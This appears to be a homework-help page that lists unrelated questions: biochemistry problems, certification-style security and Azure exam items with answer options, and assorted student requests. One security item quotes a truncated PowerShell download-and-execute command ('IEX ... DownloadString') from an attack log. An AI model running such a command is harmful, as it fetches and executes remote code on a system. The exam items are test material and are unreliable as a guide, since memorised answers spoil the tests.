professorjames

1. In a 0.1 m solution of glycine at pH 9.0. what fraction of glycine has its amino group in the –NH3+ form?

1. How much 5 m KOH must be added to 1.0 L of 0.1 M glycine at pH 9.0 to bring its pH to exactly 10.0?

1. In order to have 99% of the glycine in its –NH3+ form, what must the numerical relation be between the pH of the solution and the pKa of the amino group of glycine?

1. Why does ice melt when salt is sprinkled on it?

1. When a piece of paper is wet with water, it tears off easily. But the same paper if soaked in oil doesn’t lose strength. Why?

1. When glucose is added and stirred, the water feels cooler. Why?

1. Metabolic alkalosis is a condition in which the blood pH is higher than its normal value of 7.40 and can be caused, among other reasons, by an increase in [HCO3-]. If a patient has a following blood values, pH= 7.45, [CO2]=1.25 mM, What is the [HCO3-]? The pk1 for the bicarbonate/carbonic acid system is 6.1. How does the calculated Value of bicarbonate compare with the normal value?

1. A polysaccharide of unknown structure was isolated, subjected to exhaustive methylation, and hydrolyzed. Analysis of the products revealed three methylated sugars: 2,3,4-tri-O-methyl-D-Glucose, 2,4-di-O-methyl-D-glucose and 2,3,4,6-tetra-O-methyl-D-glucose, in the ratio 20:1:1. What is the structure of the polysaccharide?

1. The shape of hair is determined in part by the pattern of disulfide bonds in keratin, its major protein. How can curls be induced?

How do depilatory creams remove hair?

1. Using known endo- and exopeotidase, suggest a pathway for the complete degradation of the following peptide:

His-Ser-Lys-Ala-Trp-Ile-Asp-Cys-Pro-Arg-His-His-Ala

1. After proper purification, the Edman reaction was used to sequence a dodecapeptide. The following data were obtained. The C-terminal amino acid is isoleucine; N-terminal amino acid is methionine; peptide fragments are Ala-Ala-Ile, Leu-Arg-Lys-Lys-Glu-Lys-Glu-Ala,  Met-Gly-Leu, and Met-Phe-Pro-Met. What is the sequence of this peptide?

1. Why are the most unsaturated fatty acids found in phospholipids in the cis rather than the trans confirmation? Draw the structure of a 16-carbon fatty acid as saturated, trans monosaturated, and cis

1. The melting points of a series of 18-carbon fatty acids are stearic acid, 69.60C, oleic acid, 13.40C; linoleic acid -50C; and linolenic acid, -110 What structural aspect of these 18-carbon fatty acids can be correlated with the melting point? Provide a molecular explanation for the trend in melting points.

• Why does a wound on tongue heal faster than those on the other parts of the body?

Hi i need help in astrophysics

What is antibiotics factors

The major element that our human body made up of?

Which statistical test is common for

genetics and tests observed data against

the probability of those values?

A. ANOVA

B. standard deviation

C. chi-square testosterone

A company processes data subject to NDAs with partners that define the processing and storage constraints for the covered data. The agreements currently do not permit moving the covered data to the cloud, and the company would like to renegotiate the terms of the agreements.

Which of the following would MOST likely help the company gain consensus to move the data to the cloud?

1. Designing data protection schemes to mitigate the risk of loss due to multitenancy
2. Implementing redundant stores and services across diverse CSPs for high availability
3. Emulating OS and hardware architectures to blur operations from CSP view
4. Purchasing managed FIM services to alert on detected modifications to covered data

Which of the following represents the MOST significant benefit of implementing a passwordless authentication solution?

1. 1. Biometric authenticators are immutable.
   2. The likelihood of account compromise is reduced.
   3. Zero trust is achieved.
   4. Privacy risks are minimized.

A recent data breach stemmed from unauthorized access to an employee's company account with a cloud-based productivity suite. The attacker exploited excessive permissions granted to a third-party OAuth application to collect sensitive information.

Which of the following BEST mitigates inappropriate access and permissions issues?

1. SIEM
2. CASB
3. WAF
4. SOAR

A bank is working with a security architect to find the BEST solution to detect database management system compromises. The solution should meet the following requirements:

✑ Work at the application layer

✑ Send alerts on attacks from both privileged and malicious users

✑ Have a very low false positive

Which of the following should the architect recommend?

1. FIM
2. WAF
3. NIPS
4. DAM
5. UTM

A DevOps team has deployed databases, event-driven services, and an API gateway as PaaS solution that will support a new billing system.

Which of the following security responsibilities will the DevOps team need to perform?

1. Securely configure the authentication mechanisms.
2. Patch the infrastructure at the operating system.
3. Execute port scanning against the services.
4. Upgrade the service as part of life-cycle management.

A security analyst has noticed a steady increase in the number of failed login attempts to the external-facing mail server. During an investigation of one of the jump boxes, the analyst identified the following in the log file:

powershell `IEX(New-Object Net.WebClient).DownloadString ('

Which of the following security controls would have alerted and prevented the next phase of the attack?

1. Antivirus and UEBA
2. Reverse proxy and sandbox
3. EDR and application approved list
4. Forward proxy and MFA

An organization's existing infrastructure includes site-to-site VPNs between datacenters. In the past year, a sophisticated attacker exploited a zero-day vulnerability on the VPN concentrator. Consequently, the Chief Information Security Officer (CISO) is making infrastructure changes to mitigate the risk of service loss should another zero-day exploit be used against the VPN solution.

Which of the following designs would be BEST for the CISO to use?

1. Adding a second redundant layer of alternate vendor VPN concentrators
2. Using Base64 encoding within the existing site-to-site VPN connections
3. Distributing security resources across VPN sites
4. Implementing IDS services with each VPN concentrator
5. Transitioning to a container-based architecture for site-based services

A development team created a mobile application that contacts a company's back-end APIs housed in a PaaS environment. The APIs have been experiencing high processor utilization due to scraping activities. The security engineer needs to recommend a solution that will prevent and remedy the behavior.

Which of the following would BEST safeguard the APIs? (Choose two.)

1. Bot protection
2. OAuth 2.0
3. Input validation
4. Autoscaling endpoints
5. Rate limiting
6. CSRF protection

Twelve principles of animation

You maintain a Language Understanding service named lu1.

The service lu1 contains an application named mod1. Mod1 has one version and is assigned to the Production slot.

You create a new version after making changes to mod1.

You need to ensure that the new version is available for testing via a built-in endpoint.

What should you do?

Answer please

I need help with this i have been having trouble doing this

I need help with this I have been trying to work on this but I can get it

I need help with this one too

Hi I just joined this Digital Research panel on one of my pc's. Digital Research allows them to monitor what I am browsing. Anyway when I installed there installation file it works as expected. However when I launch Android Studio it complains about there certificate. See screenshot it's complaining that server certificate is not trusted? On my pc set Digital Reflection Ca certificate set to "Enable All purposes of this certificate". And I still get that message. I don't see that issue when I use Visual Studio. What else can I do?

Which management console would one use to view the groups a Windows Domain user is a member of?

Which of the following network modes allows a guest VM to communicate with the host and other similarly configured VMs but not the network?

Introduction to Python ?